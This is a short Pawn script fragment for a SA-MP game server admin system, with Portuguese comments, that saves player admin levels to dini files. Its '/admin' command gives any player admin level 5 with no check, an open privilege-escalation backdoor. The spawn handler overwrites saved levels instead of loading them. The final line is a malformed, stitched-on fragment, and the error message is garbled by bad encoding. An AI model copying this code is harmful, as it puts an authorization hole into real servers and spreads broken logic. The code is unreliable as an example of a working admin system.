new EAdmin[MAX_PLAYERS]; // Dando inicio ao sistema de admin
public OnPlayerDisconnect(playerid, reason)
{
new aname[MAX_PLAYER_NAME];
GetPlayerName(playerid, aname, MAX_PLAYER_NAME);
format(file, sizeof(file), P_CONTAS, aname);
dini_IntSet(file, "AdminLevel", EAdmin[playerid]);
return 1;
}
public OnPlayerSpawn(playerid)
{
new aname[MAX_PLAYER_NAME];
GetPlayerName(playerid, aname, MAX_PLAYER_NAME);
format(file, sizeof(file), P_CONTAS, aname);
dini_IntSet(file, "AdminLevel", EAdmin[playerid]);
return 1;
}
public OnPlayerCommandText(playerid, cmdtext[])
{
if (strcmp("/JetPack", cmdtext, true, 10) == 0)
{
new aname[MAX_PLAYER_NAME];
GetPlayerName(playerid, aname, MAX_PLAYER_NAME);
format(file, sizeof(file), P_CONTAS, aname);
if(EAdmin[playerid] < 1) return SendClientMessage(playerid, Vermelho,"| ERRO | Vocк nгo tem permissгo.");
{
SetPlayerSpecialAction(playerid, 2);
return 1;
}
}
if (strcmp("/admin", cmdtext, true, 10) == 0)
{
new aname[MAX_PLAYER_NAME];
GetPlayerName(playerid, aname, MAX_PLAYER_NAME);
format(file, sizeof(file), P_CONTAS, aname);
EAdmin[playerid] = 5;
return 1;
}
return 0;
}
new pname[MAX_PLAYER_NAME],new str[100]; GetPlayerName(playerid,pname,sizeof(pname)); format(str,sizeof(str),P_CONTAS,pname); dini_CreateFile(str); |